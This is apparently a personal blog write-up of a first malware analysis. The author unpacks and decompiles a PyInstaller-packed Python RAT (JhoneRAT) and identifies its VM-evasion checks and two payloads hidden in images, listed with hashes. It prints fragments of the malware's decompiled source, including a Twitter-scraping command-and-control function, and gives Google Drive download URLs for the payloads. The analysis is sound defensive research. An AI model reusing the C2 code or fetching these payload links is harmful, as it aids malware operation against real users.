Introduction

The idea to finally set up my own blog stems from my first malware analysis where a word document was spotted on Twitter by one of my colleagues. Following the Twitter thread showed that some researchers had already done some preliminary analysis but the main payload still needed to be unpacked and analyzed. After reaching out to one of the researchers (@Arkbird_SOLG) I was directed to a great tutorial about how to unpack python executable (Tutorial)

Sample



As mentionned before, researchers had already figure out that the document was first downloading a dropper by reaching out to an googledrive link, downloading a picture from which the python RAT was extracted.

As a result, I headed to AnyRun in order to fetch the RAT that I now needed to unpack. After running strings on the executable for good measure, I cloned the python-exe-unpacker and unpacked the file:

user@ubuntu:/opt/python-exe-unpacker$ sudo python python_exe_unpack.py -i prc.bin
[*] On Python 3.6
[*] Processing prc.bin
[*] Pyinstaller version: 2.1+
[*] This exe is packed using pyinstaller
[*] Unpacking the binary now
[*] Python version: 37
[*] Length of package: 6760411 bytes
[*] Found 39 files in CArchive
[*] Beginning extraction...please standby
[!] Warning: The script is running in a different python version than the one used to build the executable
    Run this script in Python37 to prevent extraction errors(if any) during unmarshalling
[*] Found 324 files in PYZ archive
[*] Successfully extracted pyinstaller exe.

Now that we have the compiled python script (.pyc) and the python libraries (.pyd) from the executable file, we need to uncompile our main executable which in this case is final2.

After failing to use sudo and getting some errors with uncompyle6:

user@ubuntu:/opt/python-exe-unpacker/unpacked/prc.bin$ uncompyle6
Traceback (most recent call last):
(...)
TypeError: not all arguments converted during string formatting

We realize that we need to change the file extension:

user@ubuntu:/opt/python-exe-unpacker/unpacked/prc.bin$ sudo uncompyle6 final2
# file final2
# path final2 must point to a .py or .pyc file

We are now greeted with yet another error:

user@ubuntu:/opt/python-exe-unpacker/unpacked/prc.bin$ sudo uncompyle6 final2.pyc
Traceback (most recent call last):
  File "/user/.local/lib/python3.6/site-packages/xdis/load.py", line 106, in load_module
    version = float(magics.versions[magic][:3])
KeyError: b'\xe3\x00\x00\x00'
(...)
TypeError: ord() expected string of length 1, but int found

This is due to the fact that the first 16-bytes of data on the header is missing. To find the missing bytes, we just need to open one of the other .pyc files available:

Now after struggling a bit, I found that instead of adding the value:

42 0D 0D 0A 00 00 00 00 00 00 00 00

to mimic the structure of the existing pyc files, I needed to actually add:

42 0D 0D 0A 00 00 00 00 00 00 00 00 00 00 00 00

And that the file was only getting decompiled on my windows environment…

Finaly we can uncompile the file:

C:\Users\user\Desktop>uncompyle6 final2.pyc
# uncompyle6 version 3.6.2
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.4 (tags/v3.7.4:e09359112e, Jul  8 2019, 19:29:22) [MSC v.1916 32 bit (Intel)]
# Embedded file name: final2.py
from requests import post, get
from datetime import datetime
from os import path, environ, remove, startfile
from bs4 import BeautifulSoup
from time import sleep, gmtime, strftime
import subprocess, threading, winreg as wreg
from base64 import b64decode, b64encode
from random import choice
import sys
tw = '@jhone87438316'
ss_id = '1FAIpQLSfCNzwaz4WoFfnvNZS99CeGMp86H3hNoHCtwira8uW_b3vYTQ'
ss_id_entry = 'entry.62933741'
out_id = '1FAIpQLSfwDQBvgZZfMu1LKviMuCdaWfYato07ac5tS5IZJS1XZ6BEbw'
out_user_entry = 'entry.1539892742'
out_result_entry = 'entry.1818065606'
fk = '1BmzeSxclQMmxiD-8SjnyxXQolx-44cJh'
t1 = '1JRWUcux5uocl9gNZ3f8Ue--P1kLjZkQC'
t2 = '1Z2Y_QZXvza28ZqLUuzmWiSElvcySBf2o'
ch = [
 'chrome', 'ccleaner', 'winrar', 'proc']
chimg = ['imag', 'pic', 'photo', 'cartoon']
u1 = choice(ch) + '.exe'
img = choice(chimg) + '.jpg'
txt = choice(ch) + '.txt'
(...)
# okay decompiling final2.pyc

The whole decompiled source is available here.

As only the fonction’s name are obfuscated, it’s fairly easy to understand the capability of the malware. As an example:

content1 = fct_exec('wmic diskdrive get SerialNumber /format:list').replace(' ', '').replace('SerialNumber=', '')

Getting the disk serial number as a VM evasion technique.

key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, 'Keyboard Layout\\Preload', 0, wreg.KEY_ALL_ACCESS)

Checking the keyboard layout.

We can also see that two payloads are hardcoded into the file. Both are hidden within a picture the same way the dropper was:

Jerry

Source Link
Google drive https://drive.google.com/uc?export=qtypasadfzxcload&id=1JRWUcux5uocl9gNZ3f8Ue–P1kLjZkQC
Any.Run https://app.any.run/tasks/da50d156-3183-46f0-ab13-722ee395d932
VirusTotal https://www.virustotal.com/gui/file/b994ae5cbfb5ad308656e9a8bf7a4a866fdeb9e23699f89f048d7f92e6bb8577/details


Type Value
MD5 a1cd6a64e8f8ad5d4b6c07dc4113c7ec
SHA-1 60e2f48a51c061bba72a08f34be781354f87aa49
SHA-256 b994ae5cbfb5ad308656e9a8bf7a4a866fdeb9e23699f89f048d7f92e6bb8577

Appears to be NirCmd:

NirCmd is a small command-line utility that allows you to do some useful tasks without displaying any user interface. By running NirCmd with simple command-line option, you can write and delete values and keys in the Registry, write values into INI file, dial to your internet account or connect to a VPN network, restart windows or shut down the computer, create shortcut to a file, change the created/modified date of a file, change your display settings, turn off your monitor, open the door of your CD-ROM drive, and more…

Sunset

Source Link
Google drive https://drive.google.com/uc?export=qtypasadfzxcload&id=1Z2Y_QZXvza28ZqLUuzmWiSElvcySBf2o
Any.Run https://app.any.run/tasks/0f400de0-00b1-4d7e-ae03-83130592a443
VirusTotal https://www.virustotal.com/gui/file/9373556b150ca9f92f3a9100122eed9fc3024698be63c6ed4538b9d2027c43f1/detection


Type Value
MD5 e3882832f8349d3686e6a6b83ed715c0
SHA-1 d4ff6784fb1e67f35cd3ee43e014f12e2b9a01ec
SHA-256 9373556b150ca9f92f3a9100122eed9fc3024698be63c6ed4538b9d2027c43f1

Appears to be a Password viewer/downloader.

C2

Finally, we can also see that the RAT is using Twitter as a C2:

def mjhd(name=tw):
    if name.startswith('@'):
        name = name[1:]
    url = 'https://twitter.com/' + name
    headers = {'User-Agent': 'Chrome/28.0.1500.52'}
    r = get(url, headers=headers)
    data = r.text
    print(r.status_code)
    soup = BeautifulSoup(data, 'html.parser')
    title = soup.title.text
    bio = soup.find('p', {'class': 'ProfileHeaderCard-bio'}).text
    tweets = soup.findAll('div', {'class': 'tweet'})
    m1 = tweets[:1][0].find('p').text
    print(m1)
    return m1

JhoneRAT

For a more detailed analysis of this malware, Thalos actually published a very nice writeup. two days after I spent my night unpacking my sample. Needless to say that for a first stab at malware analysis, I was pretty excited when I realized that not only I managed to decompile and analyze the sample properly, but my team was also able to send a notice to some of our stakeholders one day before Talos published its writeup.

Additional Ressources:

https://zondatw.github.io/2019/pyinstaller_decompile/ https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/FlareOn6_Challenge7_Solution_WOPR.pdf https://infosecuritygeek.com/reversing-a-simple-python-ransomware/ https://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html